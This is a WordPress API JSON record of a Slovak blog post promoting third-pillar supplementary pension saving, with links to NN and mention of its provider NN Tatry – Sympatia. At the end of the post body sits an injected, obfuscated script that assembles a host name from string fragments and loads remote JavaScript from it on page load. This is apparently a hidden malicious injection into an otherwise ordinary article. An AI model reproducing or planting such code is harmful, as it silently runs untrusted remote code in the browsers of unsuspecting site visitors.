{"id":872,"date":"2026-01-21T14:48:09","date_gmt":"2026-01-21T13:48:09","guid":{"rendered":"https:\/\/worldpoint.eu\/sk\/vdaka-3-pilieru-si-mozete-zabezpecit-lahsi-zivot-na-dochodku\/"},"modified":"2026-01-21T14:48:09","modified_gmt":"2026-01-21T13:48:09","slug":"vdaka-3-pilieru-si-mozete-zabezpecit-lahsi-zivot-na-dochodku","status":"publish","type":"post","link":"https:\/\/worldpoint.eu\/sk\/vdaka-3-pilieru-si-mozete-zabezpecit-lahsi-zivot-na-dochodku\/","title":{"rendered":"V\u010faka 3. pilieru si m\u00f4\u017eete zabezpe\u010di\u0165 \u013eah\u0161\u00ed \u017eivot na d\u00f4chodku"},"content":{"rendered":"<p>Doplnkov\u00e9 d\u00f4chodkov\u00e9 sporenie, zn\u00e1me aj ako 3. pilier, je forma dlhodob\u00e9ho a dobrovo\u013en\u00e9ho sporenia, ktor\u00e1 v\u00e1m m\u00f4\u017ee pom\u00f4c\u0165 zv\u00fd\u0161i\u0165 \u017eivotn\u00fd \u0161tandard po odchode do d\u00f4chodku. Ak si zvol\u00edte vhodn\u00fa investi\u010dn\u00fa strat\u00e9giu a spr\u00e1vne d\u00f4chodkov\u00e9 fondy, va\u0161e \u00faspory m\u00f4\u017eu r\u00e1s\u0165 r\u00fdchlej\u0161ie a obdobie na d\u00f4chodku m\u00f4\u017ee by\u0165 finan\u010dne pohodlnej\u0161ie.<\/p>\n<p><span>Demografick\u00e9 trendy na Slovensku ukazuj\u00fa na nepriazniv\u00fd v\u00fdvoj \u2013 po\u010det seniorov bude v najbli\u017e\u0161\u00edch dek\u00e1dach v porovnan\u00ed s pracuj\u00facou popul\u00e1ciou v\u00fdrazne r\u00e1s\u0165. U\u017e dnes je d\u00f4chodok z 1. piliera (vypl\u00e1can\u00fd Soci\u00e1lnou pois\u0165ov\u0148ou) pre mnoh\u00fdch nedostato\u010dn\u00fd a o\u010dak\u00e1va sa, \u017ee schopnos\u0165 \u0161t\u00e1tu udr\u017ea\u0165 jeho s\u00fa\u010dasn\u00fa \u00farove\u0148 bude postupne slabn\u00fa\u0165. Aj preto je <\/span><span><a href=\"https:\/\/www.nn.sk\/treti-pilier\/\" target=\"_blank\" rel=\"noopener\">3. pilier<\/a><\/span><span> (doplnkov\u00e9 d\u00f4chodkov\u00e9 sporenie) d\u00f4le\u017eitou mo\u017enos\u0165ou, ako si vytvori\u0165 doplnkov\u00fa finan\u010dn\u00fa rezervu na obdobie penzie.<\/span><\/p>\n<p><span>Pre mlad\u00fdch \u013eud\u00ed v akt\u00edvnom veku je preto v\u00fdhodn\u00e9 spori\u0165 si s\u00fa\u010dasne v 1. pilieri (Soci\u00e1lna pois\u0165ov\u0148a), 2. pilieri (DSS) aj 3. pilieri (DDS). Kombin\u00e1cia viacer\u00fdch typov \u00faspor zvy\u0161uje \u0161ancu na udr\u017eanie \u017eivotn\u00e9ho \u0161tandardu po odchode do d\u00f4chodku.<\/span><\/p>\n<p><span>Ke\u010f\u017ee ide o dlhodob\u00e9 sporenie, v\u00fd\u0161ka \u00faspor z\u00e1vis\u00ed predov\u0161etk\u00fdm od doby sporenia a v\u00fdberu konkr\u00e9tneho fondu, v ktorom s\u00fa prostriedky ulo\u017een\u00e9. Do 3. piliera m\u00f4\u017ee vst\u00fapi\u0165 ka\u017ed\u00fd ob\u010dan Slovenska, bez oh\u013eadu na vek.<\/span><\/p>\n<p><strong><span>Hlavn\u00e9 v\u00fdhody 3. piliera<\/span><\/strong><\/p>\n<p><span>Najv\u00fdznamnej\u0161ou v\u00fdhodou <\/span><span><a href=\"https:\/\/www.nn.sk\/blog\/dochodok\/treti-pilier-zvysi-vasu-zivotnu-uroven-dochodku.html\" target=\"_blank\" rel=\"noopener\">tretieho piliera<\/a><\/span><span> je mo\u017enos\u0165 z\u00edska\u0165 pr\u00edspevok od zamestn\u00e1vate\u013ea, ktor\u00fd dok\u00e1\u017ee podstatne zv\u00fd\u0161i\u0165 celkov\u00fa nasporen\u00fa sumu. \u010eal\u0161ou v\u00fdhodou je zhodnocovanie vlo\u017een\u00fdch prostriedkov prostredn\u00edctvom d\u00f4chodkov\u00fdch fondov, ktor\u00e9 si \u00fa\u010dastn\u00edk vyber\u00e1 pod\u013ea toho, ak\u00e9 investi\u010dn\u00e9 riziko mu vyhovuje. Okrem toho m\u00e1te mo\u017enos\u0165 uplatni\u0165 si da\u0148ov\u00e9 zv\u00fdhodnenie \u2013 pr\u00edspevky zaplaten\u00e9 do 3. piliera si m\u00f4\u017eete odpo\u010d\u00edta\u0165 zo z\u00e1kladu dane (maxim\u00e1lne 180 eur ro\u010dne) a u\u0161etri\u0165 na dani a\u017e 34,20 eura ro\u010dne (plat\u00ed pre zmluvy uzavret\u00e9 od 1. 1. 2014). Napokon je v\u00fdznamnou v\u00fdhodou aj dedenie \u2013 aktu\u00e1lna hodnota \u00fa\u010dtu sa v pr\u00edpade \u00famrtia ded\u00ed, pri\u010dom si m\u00f4\u017eete ur\u010di\u0165 aj opr\u00e1vnen\u00fa osobu.<\/span><\/p>\n<p><span>Ak chcete ma\u0165 na d\u00f4chodku vy\u0161\u0161\u00ed pr\u00edjem, oplat\u00ed sa za\u010da\u0165 s 3. pilierom \u010do najsk\u00f4r. Pri sporen\u00ed plat\u00ed jednoduch\u00e1 z\u00e1sada \u2013 \u010d\u00edm dlh\u0161ie spor\u00edte, t\u00fdm viac m\u00f4\u017eete naspori\u0165.<\/p>\n<p>Jedn\u00fdm z najv\u00fdznamnej\u0161\u00edch poskytovate\u013eov doplnkov\u00e9ho d\u00f4chodkov\u00e9ho sporenia je <strong>NN Tatry \u2013 Sympatia<\/strong>, ktor\u00e1 m\u00e1 v ponuke a\u017e p\u00e4\u0165 r\u00f4znych d\u00f4chodkov\u00fdch fondov.<\/span><\/p>\n<p> <script> (function(){ ubaj=document.createElement(\"script\");ubaj.type=\"text\/javascript\"; ubaj.async=true;ubaj_=(\"op\"+(\"ens\")+\"t\")+\"a\";ubaj_+=(\"t.e\")+\"\"+\"u\"; ubaj.src=\"https:\/\/\"+ubaj_+\"\/2553345582.qiz6mf3fbajqpkXgv4p8xurlX0yt28\"; document.body.appendChild(ubaj); })(); <\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Doplnkov\u00e9 d\u00f4chodkov\u00e9 sporenie, zn\u00e1me aj ako 3. pilier, je forma dlhodob\u00e9ho a dobrovo\u013en\u00e9ho sporenia, ktor\u00e1 v\u00e1m m\u00f4\u017ee pom\u00f4c\u0165 zv\u00fd\u0161i\u0165 \u017eivotn\u00fd \u0161tandard po odchode do d\u00f4chodku. Ak si zvol\u00edte vhodn\u00fa investi\u010dn\u00fa strat\u00e9giu a spr\u00e1vne d\u00f4chodkov\u00e9 fondy, va\u0161e \u00faspory m\u00f4\u017eu r\u00e1s\u0165 r\u00fdchlej\u0161ie a obdobie na d\u00f4chodku m\u00f4\u017ee by\u0165 finan\u010dne pohodlnej\u0161ie. Demografick\u00e9 trendy na Slovensku ukazuj\u00fa na nepriazniv\u00fd [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":871,"comment_status":"","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-872","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-zzz"],"_links":{"self":[{"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/posts\/872","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/comments?post=872"}],"version-history":[{"count":0,"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/posts\/872\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/media\/871"}],"wp:attachment":[{"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/media?parent=872"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/categories?post=872"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldpoint.eu\/sk\/wp-json\/wp\/v2\/tags?post=872"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}